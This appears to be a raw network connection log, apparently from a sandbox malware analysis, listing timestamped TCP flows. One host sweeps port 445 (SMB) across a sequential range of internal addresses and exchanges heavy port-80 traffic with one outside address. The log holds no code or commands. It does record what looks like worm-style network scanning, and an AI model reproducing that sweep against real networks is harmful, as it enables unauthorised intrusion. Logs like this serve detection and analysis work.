Jul 6, 2024 14:10:23.396420002 CEST	49868	445	192.168.2.4	192.168.0.129
Jul 6, 2024 14:10:23.414237022 CEST	49869	445	192.168.2.4	192.168.0.130
Jul 6, 2024 14:10:23.430207014 CEST	49870	445	192.168.2.4	192.168.0.2
Jul 6, 2024 14:10:23.434422970 CEST	49871	445	192.168.2.4	192.168.0.131
Jul 6, 2024 14:10:23.454207897 CEST	49872	445	192.168.2.4	192.168.0.3
Jul 6, 2024 14:10:23.454358101 CEST	49873	445	192.168.2.4	192.168.0.4
Jul 6, 2024 14:10:23.456192970 CEST	49874	445	192.168.2.4	192.168.0.132
Jul 6, 2024 14:10:23.458192110 CEST	49875	445	192.168.2.4	192.168.0.133
Jul 6, 2024 14:10:23.474050045 CEST	49876	445	192.168.2.4	192.168.0.134
Jul 6, 2024 14:10:23.489483118 CEST	49877	445	192.168.2.4	192.168.0.5
Jul 6, 2024 14:10:23.489753008 CEST	49878	445	192.168.2.4	192.168.0.135
Jul 6, 2024 14:10:23.505084991 CEST	49879	445	192.168.2.4	192.168.0.6
Jul 6, 2024 14:10:23.505243063 CEST	49880	445	192.168.2.4	192.168.0.7
Jul 6, 2024 14:10:23.505686045 CEST	49881	445	192.168.2.4	192.168.0.136
Jul 6, 2024 14:10:23.520657063 CEST	49882	445	192.168.2.4	192.168.0.8
Jul 6, 2024 14:10:23.520906925 CEST	49883	445	192.168.2.4	192.168.0.137
Jul 6, 2024 14:10:23.536566973 CEST	49884	445	192.168.2.4	192.168.0.9
Jul 6, 2024 14:10:23.536572933 CEST	49885	445	192.168.2.4	192.168.0.138
Jul 6, 2024 14:10:23.552088022 CEST	49886	445	192.168.2.4	192.168.0.139
Jul 6, 2024 14:10:23.567630053 CEST	49887	445	192.168.2.4	192.168.0.140
Jul 6, 2024 14:10:23.583245039 CEST	49888	445	192.168.2.4	192.168.0.141
Jul 6, 2024 14:10:23.598848104 CEST	49889	445	192.168.2.4	192.168.0.142
Jul 6, 2024 14:10:23.614252090 CEST	49818	445	192.168.2.4	192.168.0.79
Jul 6, 2024 14:10:23.614538908 CEST	49890	445	192.168.2.4	192.168.0.143
Jul 6, 2024 14:10:23.629833937 CEST	49819	445	192.168.2.4	192.168.0.80
Jul 6, 2024 14:10:23.630059958 CEST	49891	445	192.168.2.4	192.168.0.144
Jul 6, 2024 14:10:23.645365953 CEST	49820	445	192.168.2.4	192.168.0.81
Jul 6, 2024 14:10:23.645889997 CEST	49892	445	192.168.2.4	192.168.0.145
Jul 6, 2024 14:10:23.661000967 CEST	49821	445	192.168.2.4	192.168.0.82
Jul 6, 2024 14:10:23.661567926 CEST	49893	445	192.168.2.4	192.168.0.146
Jul 6, 2024 14:10:23.662522078 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.662602901 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.662642002 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.662656069 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.662700891 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.662832975 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.662843943 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.662857056 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.662866116 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.662877083 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.662888050 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.662904024 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.662925005 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.662981987 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.662992001 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663005114 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663017035 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663026094 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663036108 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663039923 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.663048029 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663058043 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663062096 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.663069010 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663074970 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.663079023 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663106918 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.663132906 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.663141012 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663151026 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663158894 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663168907 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663177967 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663182974 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.663186073 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663192987 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.663197041 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663207054 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663217068 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663217068 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.663225889 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663235903 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663244963 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663249969 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.663269043 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663269997 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.663284063 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.663286924 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663297892 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663309097 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663310051 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.663316965 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663324118 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.663326979 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663332939 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663340092 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.663341999 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663352013 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663362026 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663368940 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.663376093 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663386106 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663391113 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.663395882 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663404942 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663408995 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.663422108 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.663439035 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663450003 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.663456917 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663466930 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663476944 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663479090 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.663486958 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663496971 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663497925 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.663506031 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663515091 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663525105 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663526058 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.663533926 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663542986 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663547993 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.663553953 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663566113 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663568020 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.663594007 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.663595915 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663608074 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.663610935 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663620949 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663635015 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.663636923 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663647890 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663654089 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.663656950 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663666964 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663676977 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663685083 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.663685083 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663695097 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.663696051 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663706064 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663722992 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.663738012 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663748980 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.663757086 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663767099 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663777113 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663793087 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663795948 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.663803101 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663813114 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663814068 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.663824081 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663832903 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.663835049 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663845062 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663855076 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663857937 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.663866043 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663887024 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663892031 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.663903952 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663903952 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.663913965 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663923979 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663928032 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.663933992 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663944006 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663952112 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.663953066 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663961887 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663971901 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663981915 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.663984060 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.663992882 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.664002895 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.664012909 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.664012909 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.664022923 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.664030075 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.664032936 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.664042950 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.664052963 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.664057016 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.664062977 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.664072990 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.664077044 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.664082050 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.664093018 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.664097071 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.664103031 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.664118052 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.664133072 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.665440083 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.665453911 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.665463924 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.665473938 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.665484905 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.665494919 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.665501118 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.665504932 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.665514946 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.665524006 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.665525913 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.665535927 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.665538073 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.665546894 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.665556908 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.665561914 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.665568113 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.665571928 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.665576935 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.665586948 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.665597916 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.665606022 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.665608883 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.665621996 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.665630102 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.665631056 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.665640116 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.665651083 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.665651083 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.665661097 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.665666103 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.665672064 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.665682077 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.665683985 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.665692091 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.665702105 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.665707111 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.665712118 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.665720940 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.665724039 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.665734053 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.665736914 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.665745020 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.665754080 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.665764093 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.665769100 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.665775061 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.665785074 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.665793896 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.665795088 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.665805101 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.665813923 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.665815115 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.665824890 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.665826082 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.665834904 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.665854931 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.665858030 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.665865898 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.665875912 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:23.665878057 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.665888071 CEST	445	49818	192.168.0.79	192.168.2.4
Jul 6, 2024 14:10:23.665898085 CEST	445	49819	192.168.0.80	192.168.2.4
Jul 6, 2024 14:10:23.665905952 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.665908098 CEST	445	49820	192.168.0.81	192.168.2.4
Jul 6, 2024 14:10:23.665916920 CEST	445	49821	192.168.0.82	192.168.2.4
Jul 6, 2024 14:10:23.665926933 CEST	445	49822	192.168.0.83	192.168.2.4
Jul 6, 2024 14:10:23.665930986 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:23.665939093 CEST	445	49823	192.168.0.84	192.168.2.4
Jul 6, 2024 14:10:23.665949106 CEST	445	49824	192.168.0.85	192.168.2.4
Jul 6, 2024 14:10:23.665958881 CEST	445	49825	192.168.0.86	192.168.2.4
Jul 6, 2024 14:10:23.665967941 CEST	445	49826	192.168.0.87	192.168.2.4
Jul 6, 2024 14:10:23.665977955 CEST	445	49827	192.168.0.88	192.168.2.4
Jul 6, 2024 14:10:23.665982962 CEST	49818	445	192.168.2.4	192.168.0.79
Jul 6, 2024 14:10:23.665988922 CEST	49819	445	192.168.2.4	192.168.0.80
Jul 6, 2024 14:10:23.665992975 CEST	445	49828	192.168.0.89	192.168.2.4
Jul 6, 2024 14:10:23.666002035 CEST	445	49829	192.168.0.90	192.168.2.4
Jul 6, 2024 14:10:23.666012049 CEST	445	49830	192.168.0.91	192.168.2.4
Jul 6, 2024 14:10:23.666022062 CEST	445	49831	192.168.0.92	192.168.2.4
Jul 6, 2024 14:10:23.666030884 CEST	445	49832	192.168.0.93	192.168.2.4
Jul 6, 2024 14:10:23.666040897 CEST	445	49833	192.168.0.94	192.168.2.4
Jul 6, 2024 14:10:23.666049957 CEST	445	49834	192.168.0.95	192.168.2.4
Jul 6, 2024 14:10:23.666059017 CEST	445	49835	192.168.0.96	192.168.2.4
Jul 6, 2024 14:10:23.666068077 CEST	445	49836	192.168.0.97	192.168.2.4
Jul 6, 2024 14:10:23.666076899 CEST	445	49837	192.168.0.98	192.168.2.4
Jul 6, 2024 14:10:23.666085958 CEST	445	49838	192.168.0.99	192.168.2.4
Jul 6, 2024 14:10:23.666095018 CEST	445	49839	192.168.0.100	192.168.2.4
Jul 6, 2024 14:10:23.666099072 CEST	49820	445	192.168.2.4	192.168.0.81
Jul 6, 2024 14:10:23.666105032 CEST	445	49840	192.168.0.101	192.168.2.4
Jul 6, 2024 14:10:23.666110039 CEST	49821	445	192.168.2.4	192.168.0.82
Jul 6, 2024 14:10:23.666114092 CEST	445	49841	192.168.0.102	192.168.2.4
Jul 6, 2024 14:10:23.666115046 CEST	49823	445	192.168.2.4	192.168.0.84
Jul 6, 2024 14:10:23.666116953 CEST	49822	445	192.168.2.4	192.168.0.83
Jul 6, 2024 14:10:23.666122913 CEST	445	49842	192.168.0.103	192.168.2.4
Jul 6, 2024 14:10:23.666126966 CEST	49825	445	192.168.2.4	192.168.0.86
Jul 6, 2024 14:10:23.666130066 CEST	49824	445	192.168.2.4	192.168.0.85
Jul 6, 2024 14:10:23.666130066 CEST	49826	445	192.168.2.4	192.168.0.87
Jul 6, 2024 14:10:23.666135073 CEST	445	49843	192.168.0.104	192.168.2.4
Jul 6, 2024 14:10:23.666142941 CEST	49827	445	192.168.2.4	192.168.0.88
Jul 6, 2024 14:10:23.666146040 CEST	445	49844	192.168.0.105	192.168.2.4
Jul 6, 2024 14:10:23.666156054 CEST	445	49845	192.168.0.106	192.168.2.4
Jul 6, 2024 14:10:23.666165113 CEST	445	49846	192.168.0.107	192.168.2.4
Jul 6, 2024 14:10:23.666174889 CEST	445	49847	192.168.0.108	192.168.2.4
Jul 6, 2024 14:10:23.666184902 CEST	445	49848	192.168.0.109	192.168.2.4
Jul 6, 2024 14:10:23.666193962 CEST	445	49849	192.168.0.110	192.168.2.4
Jul 6, 2024 14:10:23.666203022 CEST	445	49850	192.168.0.111	192.168.2.4
Jul 6, 2024 14:10:23.666205883 CEST	49819	445	192.168.2.4	192.168.0.80
Jul 6, 2024 14:10:23.666213036 CEST	445	49851	192.168.0.112	192.168.2.4
Jul 6, 2024 14:10:23.666224003 CEST	445	49852	192.168.0.113	192.168.2.4
Jul 6, 2024 14:10:23.666233063 CEST	445	49853	192.168.0.114	192.168.2.4
Jul 6, 2024 14:10:23.666243076 CEST	445	49854	192.168.0.115	192.168.2.4
Jul 6, 2024 14:10:23.666250944 CEST	445	49855	192.168.0.116	192.168.2.4
Jul 6, 2024 14:10:23.666260958 CEST	445	49856	192.168.0.117	192.168.2.4
Jul 6, 2024 14:10:23.666270018 CEST	445	49857	192.168.0.118	192.168.2.4
Jul 6, 2024 14:10:23.666277885 CEST	445	49858	192.168.0.119	192.168.2.4
Jul 6, 2024 14:10:23.666286945 CEST	445	49859	192.168.0.120	192.168.2.4
Jul 6, 2024 14:10:23.666296005 CEST	445	49860	192.168.0.121	192.168.2.4
Jul 6, 2024 14:10:23.666305065 CEST	445	49861	192.168.0.122	192.168.2.4
Jul 6, 2024 14:10:23.666305065 CEST	49829	445	192.168.2.4	192.168.0.90
Jul 6, 2024 14:10:23.666306973 CEST	49828	445	192.168.2.4	192.168.0.89
Jul 6, 2024 14:10:23.666306973 CEST	49830	445	192.168.2.4	192.168.0.91
Jul 6, 2024 14:10:23.666313887 CEST	445	49862	192.168.0.123	192.168.2.4
Jul 6, 2024 14:10:23.666317940 CEST	49831	445	192.168.2.4	192.168.0.92
Jul 6, 2024 14:10:23.666325092 CEST	445	49863	192.168.0.124	192.168.2.4
Jul 6, 2024 14:10:23.666333914 CEST	49835	445	192.168.2.4	192.168.0.96
Jul 6, 2024 14:10:23.666335106 CEST	49833	445	192.168.2.4	192.168.0.94
Jul 6, 2024 14:10:23.666336060 CEST	445	49864	192.168.0.125	192.168.2.4
Jul 6, 2024 14:10:23.666347980 CEST	49837	445	192.168.2.4	192.168.0.98
Jul 6, 2024 14:10:23.666348934 CEST	445	49865	192.168.0.126	192.168.2.4
Jul 6, 2024 14:10:23.666353941 CEST	49836	445	192.168.2.4	192.168.0.97
Jul 6, 2024 14:10:23.666353941 CEST	49838	445	192.168.2.4	192.168.0.99
Jul 6, 2024 14:10:23.666352034 CEST	49832	445	192.168.2.4	192.168.0.93
Jul 6, 2024 14:10:23.666352034 CEST	49834	445	192.168.2.4	192.168.0.95
Jul 6, 2024 14:10:23.666363955 CEST	445	49866	192.168.0.127	192.168.2.4
Jul 6, 2024 14:10:23.666372061 CEST	49841	445	192.168.2.4	192.168.0.102
Jul 6, 2024 14:10:23.666373968 CEST	49840	445	192.168.2.4	192.168.0.101
Jul 6, 2024 14:10:23.666373968 CEST	49842	445	192.168.2.4	192.168.0.103
Jul 6, 2024 14:10:23.666374922 CEST	445	49867	192.168.0.128	192.168.2.4
Jul 6, 2024 14:10:23.666380882 CEST	49843	445	192.168.2.4	192.168.0.104
Jul 6, 2024 14:10:23.666384935 CEST	445	49868	192.168.0.129	192.168.2.4
Jul 6, 2024 14:10:23.666393995 CEST	445	49869	192.168.0.130	192.168.2.4
Jul 6, 2024 14:10:23.666404009 CEST	445	49870	192.168.0.2	192.168.2.4
Jul 6, 2024 14:10:23.666413069 CEST	445	49871	192.168.0.131	192.168.2.4
Jul 6, 2024 14:10:23.666423082 CEST	445	49872	192.168.0.3	192.168.2.4
Jul 6, 2024 14:10:23.666434050 CEST	445	49873	192.168.0.4	192.168.2.4
Jul 6, 2024 14:10:23.666443110 CEST	445	49874	192.168.0.132	192.168.2.4
Jul 6, 2024 14:10:23.666452885 CEST	445	49875	192.168.0.133	192.168.2.4
Jul 6, 2024 14:10:23.666461945 CEST	445	49876	192.168.0.134	192.168.2.4
